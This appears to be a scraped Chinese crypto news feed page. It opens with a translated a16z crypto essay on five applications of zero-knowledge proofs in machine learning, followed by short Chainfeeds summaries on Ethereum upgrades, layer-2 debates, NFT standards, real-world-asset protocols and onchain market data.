我们仍然处于在链上使用零知识证明进行计算实用验证的非常早期阶段，但算法的改进正在扩大可行的范围。以下是零知识证明在机器学习中的五种应用方式。（相关阅读：《密码学新趋势：零知识机器学习是什么？》） 1. 模型真实性：你希望确保某些实体声称已经运行的机器学习模型确实是运行过的模型。例如，可以在 API 后面访问模型的情况，并且特定模型的提供者有多个版本——比如，一个更便宜、不太准确的版本和一个更昂贵、性能更高的版本。如果没有证据，你就无法知道模型的提供者是否为你提供了更便宜的模型，而你实际上已经支付了更昂贵的模型 ( 例如，模型的提供者想要节省服务器成本并提高他们的利润率 )。 要做到这一点，你需要为模型的每个实例化单独的证明。实现这一目标的一种实用方法是通过 Dan Boneh、Wilson Nguyen 和 Alex Ozdemir 的功能承诺框架，这是一种基于 SNARK 的零知识承诺方案，允许模型所有者向模型提交数据，用户可以将数据输入模型并收到已提交模型已运行的验证。一些构建在 Risc Zero ( 一种基于 STARK 的通用虚拟机 ) 上的应用程序也支持这一点。Daniel Kang、Tatsunori Hashimoto、Ion Stoica 和 Yi Sun 进行的其他研究已经证明，可以验证 ImageNet 数据集上的有效推断，准确率为 92% (与性能最高的非 ZK 验证 ImageNet 模型相当)。 但是仅仅收到提交的模型已经运行的证据是不够的。模型可能不能准确地表示给定的程序，因此希望提交的模型由第三方进行审计。功能承诺允许证明者确定它使用了一个已提交的模型，但它们不能保证关于已提交模型的任何内容。如果我们能够使零知识证明具有足够的可执行性来证明训练 ( 参见下面的示例#4)，那么有一天我们也可以开始得到这些保证。 2. 模型完整性：你希望确保相同的机器学习算法以相同的方式在不同用户的数据上运行。这在你不希望应用任意偏见的领域非常有用，例如信用评分决策和贷款申请。你也可以使用功能承诺。为此，你将提交一个模型及其参数，并允许人们提交数据。输出将验证模型是否使用每个用户数据的提交参数运行。或者，模型及其参数可以公开，用户自己可以证明他们将适当的模型和参数应用于他们自己的（经过身份验证的）数据。这在医疗领域可能特别有用，因为法律规定患者的某些信息必须保密。在未来，这可能会使医疗诊断系统能够从完全私密的实时用户数据中学习和改进。 3.证明：你希望将来自外部经过验证的各方 ( 例如，任何可以产生数字签名的数字平台或硬件 ) 的证明集成到一个模型或任何其他类型的链上运行的智能合约中。为此，你将使用零知识证明来验证签名，并将该证明用作程序的输入。Anna Rose 和 Tarun Chitra 最近与 Daniel Kang 和 Yi Sun 一起主持了一集零知识播客，探讨了这一领域的最新进展。 具体来说，Daniel 和 Yi 最近发布了一项工作，研究如何验证由经过验证的传感器拍摄的图像是否经过裁剪、调整大小或有限的编辑等转换——这在你想证明图像不是深度伪造而是经过某种合法形式的编辑的情况下很有用。Dan Boneh 和 Trisha Datta 也做了类似的工作，使用零知识证明来验证图像的来源。 但是，更广泛地说，任何经过数字认证的信息都可以进行这种形式的验证：正在研究 EZKL 库的 Jason Morton( 下一节将详细介绍 ) 将其称为「给区块链眼睛」。任何签名的端点：( 例如，Cloudflare 的 SXG 服务，第三方公证员 ) 都会生成可验证的数字签名，这对于证明来自受信任方的出处和真实性非常有用。 4. 去中心化推理或训练：你希望以去中心化的方式进行机器学习推理或训练，并允许人们向公共模型提交数据。要做到这一点，你可以在链上部署一个已经存在的模型，或者构建一个全新的网络，并使用零知识证明来压缩模型。Jason Morton 的 EZKL 库正在创建一种方法，用于提取 ONXX 和 JSON 文件，并将它们转换为 ZK-SNARK 电路。最近在 ETH Denver 的演示表明，这可以用于创建基于图像识别的链上寻宝游戏等应用程序，其中游戏的创造者可以上传照片，生成图像的证明，玩家可以上传图像；验证者检查用户上传的图像是否与创建者生成的证明充分匹配。EZKL 现在可以验证多达 1 亿个参数的模型，这意味着它可以用于在链上验证 ImageNet 大小的模型 ( 有 6000 万个参数 )。 其他团队，如 Modulus Labs 正在对不同的证明系统进行链上推理的基准测试。Modulus 的基准运行高达 1800 万个参数。在训练方面，Gensyn 正在构建一个去中心化的计算系统，用户可以输入公共数据，并通过一个去中心化的节点网络来训练他们的模型，并验证训练的正确性。 5. 身份证明：你想要在不损害他们隐私的情况下验证某人是独一无二的人。为此，你需要创建一种验证方法——例如，生物识别扫描，或以加密方式提交政府 ID 的方法。然后，你将使用零知识证明来检查某人是否已被验证，而不透露有关该人身份的任何信息，无论该身份是完全可识别的，还是像公钥那样的假名。 Worldcoin 通过他们的身份证明协议来做到这一点，这是一种通过为用户生成唯一的虹膜代码来确保抗女巫攻击的方法。至关重要的是，为 WorldID 创建的私钥 ( 以及为 Worldcoin 用户创建的加密钱包的其他私钥 ) 与项目的眼睛扫描球在本地生成的虹膜代码完全分离。这种分离完全将生物识别标识与任何形式的用户密钥分离开来，这些密钥可能来自于一个人。Worldcoin 还允许应用程序嵌入一个 SDK，允许用户使用 WorldID 登录，并利用零知识证明保护隐私，允许应用程序检查该人是否拥有 WorldID，但不支持个人用户跟踪 ( 更多细节，请参阅这篇文章)。 这个例子是用零知识证明的隐私保护特性来对抗更弱、更恶意的人工智能形式的一种形式，所以它与上面列出的其他例子有很大的不同 ( 例如，证明你是一个真正的人，而不是一个机器人，而不透露任何关于你自己的信息 )。 实现 SNARK( 简洁的非交互式知识论证 ) 的证明系统的突破是将许多机器学习模型放在链上的关键驱动因素。一些团队正在现有的架构 ( 包括 Plonk、Plonky2、Air 等 ) 中制作定制电路。在自定义电路方面，Halo 2 已经成为 Daniel Kang 和 Jason Morton 的 EZKL 项目等在工作中使用的流行后端，。Halo 2 的证明时间是准线性的，证明大小通常只有几千字节，验证时间是常数。也许更重要的是，Halo 2 拥有强大的开发人员工具，使其成为开发人员使用的流行 SNARK 后端。其他的团队，比如 Risc Zero，则致力于一个通用的 VM 策略。其他人正在使用 Justin Thaler 基于求和校验协议的超高效证明系统创建自定义框架。 证明生成和验证时间绝对取决于生成和检查证明的硬件，以及生成证明的电路的大小。但这里需要注意的关键是，无论所表示的程序是什么，证明的大小总是相对较小，因此验证者检查证明的负担是有限的。然而，这里有一些微妙之处：对于像 Plonky2 这样使用基于 FRI 的承诺方案的证明系统，证明大小可能会增加。( 除非它被包装在一个基于配对的 SNARK 中，如 Plonk 或 Groth16，它们的大小不会随着语句的复杂性而增长。) 这里机器学习模型的含义是，一旦你设计了一个证明系统，准确地表示一个模型，实际验证输出的成本将非常便宜。开发人员必须考虑最多的事情是证明时间和内存：以一种可以相对快速地证明模型的方式表示模型，并且理想的证明大小在几千字节左右。为了证明机器学习模型在零知识下的正确执行，你需要对模型架构 ( 层、节点和激活函数 )、参数、约束和矩阵乘法操作进行编码，并将它们表示为电路。这涉及到将这些属性分解为可以在有限域上执行的算术运算。 该领域仍处于起步阶段。在将模型转换为电路的过程中，准确性和保真度可能会受到影响。当一个模型被表示为一个算术电路时，那些前面提到的模型参数、约束和矩阵乘法操作可能需要近似和简化。当算术运算被编码为证明的有限域中的元素时，一些精度可能会丢失 ( 或者在没有这些优化的情况下，使用当前的零知识框架生成证明的成本将高得离谱 )。此外，为了精确起见，机器学习模型的参数和激活通常被编码为 32 位，但今天的零知识证明不无法在没有大量开销的情况下以必要的算术电路格式表示 32 位浮点运算。因此，开发人员可以选择使用量化的机器学习模型，其 32 位整数已经转换为 8 位精度。这些类型的模型有利于表示为零知识证明，但被验证的模型可能是高质量初始模型的粗略近似。 在这个阶段，无可否认，这是一场追赶游戏。随着零知识证明变得更加优化，机器学习模型的复杂性也在增长。已经有许多有前景的优化领域：证明递归可以通过允许证明用作下一个证明的输入来减少整体证明的大小，解锁证明压缩。也有一些新兴的框架，比如 Linear A 的 Apache 张量虚拟机 (TVM) 的分支，它改进了一个转译器，用于将浮点数转换为零知识友好的整数表示。最后，我们 a16z crypto 乐观地认为，未来的工作将使在 SNARK 中表示 32 位整数变得更加合理。 零知识证明可通过压缩进行扩展：SNARK 允许你使用一个极其复杂的系统 ( 虚拟机、机器学习模型 )，并以数学方式表示它，以便验证它的成本小于运行它的成本。另一方面，机器学习通过扩展来扩展：今天的模型随着更多的数据、参数和 GPU/TPU 参与训练和推理过程而变得更好。中心化的公司可以以几乎不受限制的规模运行服务器：按月收取 API 调用费用，并支付运营成本。 区块链网络的经济现实几乎以相反的方式运行：鼓励开发人员优化他们的代码，使其在计算上可行 ( 并且便宜 )。这种不对称有一个巨大的好处：它创造了一个证明系统需要变得更有效的环境。我们应该推动在机器学习中要求区块链提供同样的好处——即可验证的所有权和共享的真理概念。 虽然区块链激励了 zk-SNARK 的优化，但计算的每个领域都将受益。 致谢：Justin Thaler, Dan Boneh, Guy Wuollet, Sam Ragsdale, Ali Yahya, Chris Dixon, Eddy Lazzarin, Tim Roughgarden, Robert Hackett, Tim Sullivan, Jason Morton, Peiyuan Liao, Tarun Chitra, Brian Retford, Daniel Kang, Sun Yi, Anna Rose, Modulus Labs, DC Builder。  ( 4 min )

  • Open

    盘点五个潜力巨大的早期项目：从zkEVM到全链稳定币
    盘点五个潜力巨大的早期项目：从zkEVM到全链稳定币 – 深潮TechFlow 撰写：Surf Read the full entry  ( 4 min )
    盘点五个潜力巨大的早期项目：从zkEVM到全链稳定币
    盘点五个潜力巨大的早期项目：从zkEVM到全链稳定币 – 深潮TechFlow 撰写：Surf Read the full entry  ( 4 min )
    Pyth V2 深度研究：喂价模式的关键转变，跨链和多场景支持后暴涨的产品力
    Pyth V2 深度研究：喂价模式的关键转变，跨链和多场景支持后暴涨的产品力 – 深潮TechFlow 最近，大家的注意力似乎都聚焦在 L2 上。 Read the full entry  ( 6 min )
    Pyth V2 深度研究：喂价模式的关键转变，跨链和多场景支持后暴涨的产品力
    Pyth V2 深度研究：喂价模式的关键转变，跨链和多场景支持后暴涨的产品力 – 深潮TechFlow 最近，大家的注意力似乎都聚焦在 L2 上。 Read the full entry  ( 6 min )

  • Open

    欧科云链：以太坊上海升级，DeFi 3.0 的序章
    Chainfeeds 导读： 以太坊 Shapella 升级仅剩一天，欧科云链研究院撰文分析以太坊 Shapella 升级对 DeFi 的影响并对未来进行展望，认为以太坊升级，包括 Shapella 升级等，将不断推动 DeFi 的发展，并有望开启 DeFi 3.0 时代的序章。 文章来源： https://mp.weixin.qq.com/s/TLb_uhJvMy67uM6mkNcHQA 文章作者： 毕良寰 观点： 毕良寰：DeFi 1.0 和 2.0 的创新都是在 DeFi 的基础设施和协议层面上进行的，而 DeFi 3.0 则更注重应用层面的创新，是在 DeFi 2.0 基础上的新一层创新，主要强调「金融即服务」概念，将金融服务与应用程序进行深度融合，实现更为普惠和便捷的金融服务。DeFi 3.0 正在努力解决可持续性收益和操作繁琐及高昂 Gas 费的问题，以实现更加简便的操作和可持续的收益。 内容来源 毕良寰：为什么以太坊 Shapella 升级对 DeFi 的未来发展有重要意义？1）Shapella 升级的「赎回机制」推动以太坊网络的去中心化进程。通过增强了质押 ETH 的赎回机制，激发更多验证者参与进来，并促进以太坊网络的进一步去中心化和提高网络安全。通过本次升级的「赎回机制」，PoS 区块链的全面运作才能成为现实，也意味着质押者可以拥有个人资金的控制权。 内容来源 毕良寰：2）Shapella 升级拉开 Layer 2 真正突破 —— 坎昆升级的序幕。Shapella 升级旨在提高以太坊交易速度、降低成本并推动 DeFi 发展，特别是为下一步的分片技术升级打下基础。Shapella 升级中包含的内容提案改进可以帮助推动以太坊上的扩容技术 ——Layer 2 的发展，从而让交易更快且交易成本更低。而 EIP-4844 则提供了降低 Layer 2 交易费用和支持未来数据分片的多维收费市场机制。Layer 2 解决方案是解决区块链交易速度和扩容问题的技术，是 DeFi 发展所必需的技术之一。 内容来源  ( 32 min )
    【英文长推】解析韩国领先的消息应用 Kakao 背后的 Layer1：Klaytn
    Chainfeeds 导读： Klaytn 是韩国领先的互联网和消息传递公司 Kakao 通过其区块链子公司 Ground X 创立的 L1，其网络架构专为高 TPS 和近乎即时的最终确定性而设计，重点是企业级解决方案。加密研究机构 Metatech Insight 撰推分析 Klaytn 与其他 L1 有何不同，以及其生态系统和新的代币经济学催化剂。 文章来源： https://twitter.com/MetaTechInsight 文章作者： Metatech Insight 观点： Metatech Insight：为什么 Klaytn 与众不同？1）可以通过 Kakao 解决问题并处理大量在线和移动服务；2）闪电般快速的网络，优先考虑速度而不是去中心化，使其成为企业使用和 web2 集成的理想选择；3）高吞吐量，其主网 Cypress 每秒可处理多达 4000 笔交易，区块生成间隔为一秒。4）优化共识，其共识算法使用 Istanbul BFT 的改进版本来处理区块链网络的独特特性。【原文为英文】 内容来源 Metatech Insight：生态系统：其 DeFi TVL 为 1.9513 亿美元，在所有链中排名第 15。其中一半以上的 TVL 在 AMM-DEX KLAYswap 里，超额抵押借贷协议 Klap TVL 则约为 400 万美元。Opensea 与 Klaytn 集成，使其成为以太坊以外第一个支持市场的区块链，前 10 名项目在 Opensea 上积累了总计 1.45 亿 KLAY 的交易量。链上游戏是 Klaytn 的主要关注点之一，生态中包含 MarbleX、NEOPLY、Wemix、Bora 等热门游戏项目。【原文为英文】 内容来源 Metatech Insight：代币经济催化剂：此前 Klaytn 基金会宣布将从其储备协议中销毁超过 50 亿 $KLAY ，此举导致近几周价格飙升，被视为强大的代币经济催化剂，可能导致供应冲击并在未来几个月推高价格。很明显，Klaytn 致力于为其用户和投资者创建一个可持续且有效的代币生态系统。【原文为英文】 内容来源  ( 2 min )
    【英文长推】解析 zkBridge：通过新型分布式证明系统为 L1 和 L2 互操作性提供无信任且高效的跨链基础设施
    Chainfeeds 导读： Polyhedra Network 推出了 zkBridge 主网 Alpha、跨链 NFT 和消息桥 。加密社区 AlphaInsiders 对其 zkBridge 产品原理及机制进行解析，并撰写用户交互参与方式。 文章来源： https://twitter.com/AlphaInsiders/status/1645420631209525253 文章作者： AlphaInsiders 观点： AlphaInsiders：zkBridge 利用 zkSNARKs 使发送方能够有效地向接收方链证明特定状态转换已经发生。该系统包括区块头中继网络和更新合约。区块头中继网络从发送者链中检索区块头，创建证明这些区块头的合法性的证明，并将区块头与证明一起转发到在接收者链上运行的更新者合约。更新者合约维护轻客户端状态，并在相关证明已通过身份验证后自动添加发送 sender 链区块头。这导致对发送方链的当前主链进行更新。【原文为英文】 内容来源 AlphaInsiders：用户如何进行交互？1）可以使用 BSC 或 ETH 主网创建一个 NFT，或者只需从水龙头中 claim 一个；2）NFT 一旦 mint /claim，可以将该 NFT 桥接到另一条链；3）按照步骤操作并 claim 目标链的 NFT；4）可以使用不同的链重复这些步骤；5）在 https://zkbridge.com/messenger 发送消息或者跨链，写一条消息，从一个链发送到另一个链；可以把这个消息发送到你的地址或其他人的地址；使用不同的链进行测试和重复。【原文为英文】 内容来源  ( 2 min )
    IOSG 周报：从消费者到创造者，站在玩家视角漫谈全链游戏设计
    Chainfeeds 导读： IOSG 研究员 Simon 撰文以玩家角度解析全链游戏设计，从全链游戏好玩性出发，探讨如何设计一款「好玩」的全链游戏，认为将游戏核心逻辑上链则是在游戏玩法设计的层面上，启迪一批能实现最大「游玩自由」的游戏。 文章来源： https://www.panewslab.com/zh/articledetails/lo8xjvoz.html 文章作者： Simon 观点： Simon：经营者们会发现，最高效地构筑内容壁垒 / 对抗内容消耗的方式，永远是是给用户 / 玩家好用的创作工具，去繁荣 UGC 的生态。但回归到游戏，去中心化、赋能个体这个命题其实要复杂的多：游戏玩法本身就是关于规则的提炼和设计，彻底的去中心化很难构建出好玩的沉浸式体验。全链游戏的乐趣应该是：在区块链上构筑稳固、不可篡改的核心玩法，并将衍生玩法的设计最大限度地让渡给玩家，使得游戏衍生本身能产生无数的可能，内容再次创作有无限的延展性。 内容来源 Simon：如何创造好玩的全链游戏？1）提炼出游戏的核心玩法，明确有哪些要素是希望刻进游戏 dna 里，不希望任何人（包括作者）能改变的，然后将核心玩法拆分成最小的原子。2）将游戏原子用区块链变成玩家的共识，成为游戏世界运行的底层规则。3）用合理的设计鼓励人类用这些原子去创造更有趣更丰富的世界。 内容来源 Simon：个人思考：寻找桌游或扑克等具有共识的规则作为游戏核心逻辑的参照，这些规则简单且广泛传承，除此以外的所有操作都是自由的，这为游戏开发带来了最大自由度。因此，最严格的规则带来了最大的自由。这才是能被设计出的最大游戏自由。 内容来源  ( 4 min )
    【英文长推】Glassnote 数据分析：本轮比特币上涨由什么驱动？杠杆还是现货需求？
    Chainfeeds 导读： Glassnote 分析师 Checkmate 通过数据分析本轮比特币上涨期间杠杆和现货需求的表现，认为是现货驱动本轮的涨势。 文章来源： https://twitter.com/_Checkmatey_/status/1645541464930406401 文章作者： Checkmate 观点： Checkmate：BTC 基于美元的杠杆回到了 2020 年 ATH 之前的 20,000 美元水平，绝大多数新杠杆都在期权市场，最近达到 48 万 BTC 的 ATH。其中很大一部分来自长期的看涨期权 —— 超过 5 万美元。短期内市场被看跌期权对冲。总结 BTC 杠杆头寸：1）杠杆率增长强劲下降趋势；2）持仓量为 1 年低点；3）勉强为正的资金费率；4）较低清算量；5）大多数杠杆是长期投机性看涨期权。【原文为英文】 内容来源 Checkmate：现货需求情况如何？在网络活动方面，新地址 / 实体、转移（transfer）总量、支付给矿工的费用收入，显示出对 BTC 的积极势头。比特币市场倾向于看到交易所相关活动的上升，可以在美元总流量中看到这一点，以及交易所相关的链上交易量占主导地位。成交量势头良好，市场基本恢复盈利。总的来说，市场正见证着来自稳定机构的净资本流出，并以每月 50 亿美元的资金流入 BTC。【原文为英文】 内容来源 Checkmate：链上 BTC 钱包余额也在显著增长，散户以及「鲨鱼」以接近 ATH 的速度吸收代币，这些币从「巨鲸」和交易所钱包中流出。总结 BTC 现货需求：1）链上活动增长健康增长；2）现货交易活动正在增长；3）在稳定币流出的背景下，净资本流入 BTC；4）获利使买方对法币有更多需求；5）链上钱包增长健康且积极。【原文为英文】 内容来源  ( 2 min )
    【英文长推】观点：L2 不是 L1 三难困境的答案，分片可以不牺牲去中心化而进行链上扩展
    Chainfeeds 导读： Cyber Capital 创始人 Justin Bonds 认为仅通过 L2 扩展区块链是一个糟糕的想法，因为其伴随着糟糕的用户体验和信任权衡，L2 并不是解决 L1 三难困境的答案。而 NEAR、EGLD 证明执行分片是可行的，可以在不牺牲去中心化或将大多数用户推向托管解决方案的情况下进行链上扩展。 文章来源： https://twitter.com/Justin_Bons/status/1645467481551536137 文章作者： Justin Bons 观点： Justin Bons：我们必须承认：与以太坊生态系统中的 L1 相比，L2 开发资金要高出几个数量级。围绕 L2 代币创造了数百亿美元，而 L1 的发展仅为数百万美元。这对 L2 扩展产生了巨大偏见，甚至到了任意限制 L1 容量而不追求 L1 扩展技术的地步。我们在比特币中看到了这点，现在历史则在以太坊中重演。因为以太坊的区块大小限制是由矿工设定的，现在它的最大值由客户端固定。此外以太坊已从其路线图删除执行分片，偏离了链上扩展。【原文为英文】 内容来源 Justin Bons：为什么我确信 L2 不是扩展三难困境的答案？问题在于在竞争激烈的市场环境中存在一个无法解决的用户体验问题。在 L2 中两个用户交换价值，不仅需要桥接，还要查明这些 L2 是否安全或者去中心化。这种糟糕的用户体验不可避免地导致人们只选择托管解决方案。一个普遍的反对意见是：链上扩展牺牲了去中心化。以太坊的原始路线图包括执行分片（水平扩展），但以太坊觉得这难度太高了。【原文为英文】 内容来源 Justin Bons：然而，NEAR、EGLD、XTZ 和 TON 等区块链意见证明执行分片是可能的。这意味着可以在不牺牲去中心化或者将大多数用户推向托管解决方案的情况下进行链上扩展。这是一个更有竞争力的解决方案，因为它能为所有用户提供 L1 的所有优点，而没有 L2 的任何固有缺点。我不反对 L2 解决方案，但是我不同意任意限制 L1 容量以支持 L2 扩展。应该允许两者在去中心化的范围内进行扩展，让市场决定孰优孰劣。【原文为英文】 内容来源  ( 2 min )
    【英文长推】盘点 5 个具有巨大潜力的早期项目：Linea、Native.......
    Chainfeeds 导读： 大多数早期项目都是在黑暗中建造的，但这些项目可以产生最好的 alpha 和增长潜力。加密 KOL Surf 撰推分享了其偶然发现的 5 个具有巨大潜力的早期项目，涵盖项目原理机制、增长潜力及开发进展。 文章来源： https://twitter.com/0xsurferboy/status/1645441582638993409 文章作者： Surf 观点： Surf：1）Linea，ConsenSys 开发的 L2 解决方案，旨在增强以太坊的可扩展性和效率。并利用具有 EVM 等效性的零知识证明，使开发人员能够构建可扩展的 dapps 或轻松迁移现有的 dapps。该测试网现已对开发人员、用户和协议开放。2）Native，允许任何项目轻松将 DEX 集成到他们的界面中的工具包，其目标是简化用户体验，使用户直接在项目界面上进行交易，而不是定向到第三方。【原文为英文】 内容来源 Surf：3）Conduit ，rollup-as-a-servese 项目，通过提供基于 OP 构建的生产级 rollup ，使团队可以快速扩展其 dApp，旨在为寻求自己的以太坊专用 rollup 的项目提供更易于访问且更具成本效益的解决方案。 除了 Paradigm 的 700 万美元种子轮融资外，Conduit 最近还宣布与 OP 基金会合作。4）Econia，基于 Aptos 的创新链上订单簿平台，旨在成为 DeFi 的强大经济引擎，使通过解决 DEX 所面临的性能瓶颈来扩大链上交易。关键技术之一是其超并行的链上 OB。近期完成了 Dragonfly 领投的 650 万美元融资。【原文为英文】 内容来源 Surf：5）Yama Finance，全链稳定币项目，旨在最大限度地提高 CDP 的效率和能力。主要产品是 PSM（挂钩稳定模块），为稳定币引入了几个独特的功能。PSM 智能合约让任何人都可以将 Yama 兑换成 USDT 1:1，无滑点或手续费。目前 TVL 已超 160 万美元。【原文为英文】 内容来源  ( 2 min )
    解读 ERC-6551 「代币绑定账户」: 使每张 NFT 都拥有一个专属钱包
    Chainfeeds 导读： FUTURE PRIMITIVE 团队推出新的以太坊标准 ERC-6551，即代币绑定账户，加密 KOL WaTell 撰推解读该标准的原理概念，以及一些预想的用例，认为借助该标准，我们可以实现「玩家拥有 A NFT，A NFT 拥有 B NFT、C NFT 等」的「所有权层创新」。 文章来源： https://twitter.com/0xWatell/status/1645374755435089920 文章作者： WaTell 观点： WaTell：什么是 ERC-6551？它将使每张 NFT，都拥有一个专属于自己的钱包。我们都习惯性地将某个 NFT 绑定给某个钱包、NFT 常常被我们潜移默化地认为是去中心化钱包的附属品。而 ERC-6551 打破了这个传统，反过来将钱包绑定给 NFT。更直白来讲：NFT 将可以像小狐狸钱包那样，包含、收纳其他的 NFT。 内容来源 WaTell：目前的 NFT，并不具备「自主存储历史记录」的能力，「签名的控制权、链接的所有权」等一些至关重要的功能也是 NFT 无法自主实现的，只能依赖去中心化钱包。而 ERC -6551 允许 NFT 拥有一个属于自己的钱包，它将可以自己签署交易、持有资产，并以 NFT 的方式直接连接到其它 DAPP。同时由于其使用的是 CA，意味着所有支持 ERC-6551 的 NFT 都将自动获得一个绑定地址，而无需进行任何额外操作。 内容来源 WaTell：预想用例：1）装备数字服装和物品（RTFKT — CloneX、Doodles）；2）ERC 20 代币赚取 / 空投模型（BAYC、Cool Cats、SupDucks）；3）通过参与获得的 POAPS 或徽章（Azuki、FWB、Moonbirds）；4）将整个集合作为一个单元进行交易（OpenSea 批量传输）；5）NFT 作为链上身份，具有在社交网络模型（CryptoPunks、Nouns）上分层的能力。 内容来源  ( 2 min )
    【英文长推】盘点 RWA 相关协议：Sologenic、RealT、LandX ...
    Chainfeeds 导读： Real-world asset（RWA） 将彻底改变传统金融，有望以万亿的市值增长。资产代币化实际上可以带来无尽的流动性，连接 TradFi 和 DeFi。加密货币 KOL ZERO IKA 从优劣势、潜力、解决的问题等方面详细介绍了 RWA 并列举了值得关注的相关协议。 文章来源： https://twitter.com/iamzeroika/status/1645079798040137729 文章作者： ZERO IKA 观点： ZERO IKA：RAW 解决收益率下降问题。众所周知，在牛市期间，DeFi 收益率会随着流动性更加稳定和参与者流量的增加而上升。但在熊市期间，随着价格下跌，TVL 下降。RWA 资产可以给 DeFi 提供由传统资产类别支持的更可持续和更可靠的收益，因此不受加密市场波动的影响。【原文为英文】 内容来源 ZERO IKA：1）Sologenic 是建立在 XRP 分类账上的 DEX，旨在提供对股票、加密货币、ETF 和代币化资产的访问。用户可以对来自 30 个全球证券交易所的 40,000 多只股票、ETF 和商品进行代币化。2）RealT 是一个由 AAVE 提供支持的平台，在房地产领域运营，允许人们在美国购买分散的房产。比如可以购买 50 美元起的房产。【原文为英文】 内容来源 ZERO IKA：3）LandX 是一种将农业带上链的协议，允许人们买卖农产品。投资者可以从他们的作物中获得实际收益，通过与加密货币市场不相关的资产来分散他们的投资组合。4）Galileo Network 使奢侈品牌能够通过将其正品与不可变的 pNFT 相结合来打击假冒产品，从而在区块链上证明其所有权、状况和来源。【原文为英文】 内容来源  ( 2 min )
    【英文长推】盘点过去 30 日聪明钱链上活动：Arthur Hayes、Andrew Kang、Dragonfly…
    Chainfeeds 导读： 加密 KOL Thor Hartvigsen 盘点了 Arthur Hayes、Andrew Kang 以及 Dragonfly 等名人和机构过去 30 日的链上活动以及现有的代表性持仓。 文章来源： https://twitter.com/ThorHartvigsen/status/1645393219893743622 文章作者： Thor Hartvigsen 观点： Thor Hartvigsen：Arthur Hayes 以 2.42 美元的价格出售了他全部的 75.8 万枚 LDO（190 万美元）。Arthur 在 2022 年的 LDO 买入均价或为 2.53 美元。他仍然持有：1750 万美元 ETH、1570 万美元 GMX、320 万美元 ENS、100 万美元 FXS 及 75 万美元 WILD。【原文为英文】 内容来源 Thor Hartvigsen：Andrew Kang 在 4 月 4 日以 1.25 美元的价格买入 80 万枚 ARB，在 4 月 5 日以 1.23 美元的价格买入 151 万枚 ARB。ARB 是 Kang 的 3 个可追踪钱包中唯一较大的现货投资。他目前以 25-50 倍的杠杆做多 ETH 和 BTC，美元总价值约为 150 万。【原文为英文】 内容来源 Thor Hartvigsen：Dragonfly 在 3 月份似乎一直在抛售各种资产：3 月 1 日和 21 日，出售 570 万枚 LDO；3 月 3 日出售 830 万枚 MATIC（1020 万美元）；以及 8 万枚 AAVE（590 万美元）。Dragonfly 仍然持有 2110 万枚 LDO（5600 万美元）。注：链上数据显示代币被发送到 CEX，这并不保证他们正在出售（但往往是这样）。【原文为英文】 内容来源  ( 2 min )
    ABCDE：重新思考 Appchain、ZK 和 GameFi 赛道
    Chainfeeds 导读： ABCDE 合伙人 Lao Bai 对当下热门的 Appchain、ZK 和 GameFi 3 个赛道发展进行了梳理，抛开市场炒作，看到技术发展的本质及必要性是投资者需要思考的问题。 文章来源： https://medium.com/@ABCDE.com/cn-abcde-%E9%A6%99%E6%B8%AF%E5%A4%A7%E4%BC%9A-%E9%87%8D%E6%96%B0%E6%80%9D%E8%80%833%E4%B8%AA%E7%83%AD%E9%97%A8%E8%B5%9B%E9%81%93-14a3f996f10f 文章作者： Lao Bai（ABCDE 投研合伙人） 观点： Lao Bai（ABCDE 投研合伙人）：Rollup as a Service（RAAS）可以看作 Appchain 的子集。目前看到的基于 OP 系的 RAAS 基本上就是 Fork OP Stack 来做，本身没有什么技术壁垒，这类 RAAS 的价值更多在于 Sequencer，区块浏览器与快速部署等附加价值。从理论上来说，ZK 系列的 RAAS 是有可能提升 Appchain 使用体验的，但现有的技术不如 OP 系成熟。 内容来源 Lao Bai（ABCDE 投研合伙人）：ZK 技术现阶段仍然面临：现有产品没有真的达到传统意义上的「主网完成度级别」、性能不如 OP 系、费用高、交易终结时间长等问题。ZK 中间件赛道虽然比 Rollup 轻量许多，但依旧是个超级硬核 + 费时费力的赛道，实现完全基于 ZK 的互操作性可能需要 2–3 年。 内容来源 Lao Bai（ABCDE 投研合伙人）：GameFi 目前的 7 大方向：3A 级别、休闲社交类、新的 X to Earn 模式、基于 NFT 的 Free to Own、游戏任天堂、DeFi 游戏化、全链游戏。哪一个或几个能够走到最后现在很难说。 内容来源  ( 3 min )
    【英文长推】NFT 借贷、创新市场和机构采用对消费者的影响
    Chainfeeds 导读： NFT 市场围绕 NFT 的金融化、创新市场的出现以及不同程度的机构采用等趋势而发展。Messari 研究员 Ally Zach 解释了这些趋势如何影响 NFT 和消费者。 文章来源： https://twitter.com/messaricrypto/status/1645440700648136704 文章作者： Messari 观点： Messari：关于 NFT 的金融化，NFT 现在可以作为贷款的抵押品，为 NFT 所有者提供流动性。Para Swap 以先买后付 (BNPL) 等独特功能引领这一潮流。【原文为英文】 内容来源 Messari：在 NFT 市场领域，像 Blur 这样的平台在增加交易活动方面发挥了作用。虽然像 Polygon 和 Solana 链上的 NFT 交易量尚未达到以太坊的量，但像 Tensor 和 Magic Eden 这样的平台正在持续改进中。【原文为英文】 内容来源 Messari：许多早期测试 Web3 领域的 Web2 公司未能改进他们当前的产品堆栈。尽管如此，像星巴克和 Reddit 这样的品牌和巨头已经能够整合他们现有的商业模式并取得可衡量的成功。【原文为英文】 内容来源  ( 2 min )
    以太坊 Layer2 强势落地，留给 Aptos、Sui 等新公链的时间不多了？
    Chainfeeds 导读： 3 月份，随着龙头 Layer2 协议 Arbitrum 治理 ToKen 发行和发放掀起社区狂欢，同时相关 Layer2 生态持续爆火。而新公链的叙事依旧亮眼，由 Meta 前员工打造的 Aptos，Sui 等新公链还未出世就引发一众顶级投资机构关注。白话区块链作者大圣 web3 根据所解决问题、生态建设和应用场景、技术架构、性能表现、社区和治理机制等方面对新公链和 Layer2 进行了分析对比。 文章来源： https://mp.weixin.qq.com/s/pq7B4xEeAB1PoOFfaelWEQ 文章作者： 白话区块链 观点： 白话区块链：TPS 越高，代表公链效率越高。ETH 主网的 TPS 大致在每秒 15 笔左右，Arbitrum 的 TPS 近期最高达到每秒 100 笔，Aptos 的 TPS 官方在最终文档中宣称可以达到每秒 10 万 +，但目前根据 Aptos 区块链浏览器数据，当下的 TPS 为每秒 10 笔左右，后续关注 TPS 是否会有所提升。 内容来源 白话区块链：在生态建设方面，Layer2 是更胜一筹。论应用场景中的知名项目，Arbitrum 生态中的很多项目都耳熟能详。反观 Aptos 生态，可以说一个能打的都没有。虽然主网一上线就有众多项目加入，但大多为流水线作业的拼接项目。Aptos 对项目方的要求度较低，导致了大量的劣质项目充斥生态。 内容来源 白话区块链：Aptos、Sui 等新公链相对于之前 Solana 等主打性能的公链有一些创新。Aptos、Sui 等有希望接替 Solana 形成新公链叙事。layer2 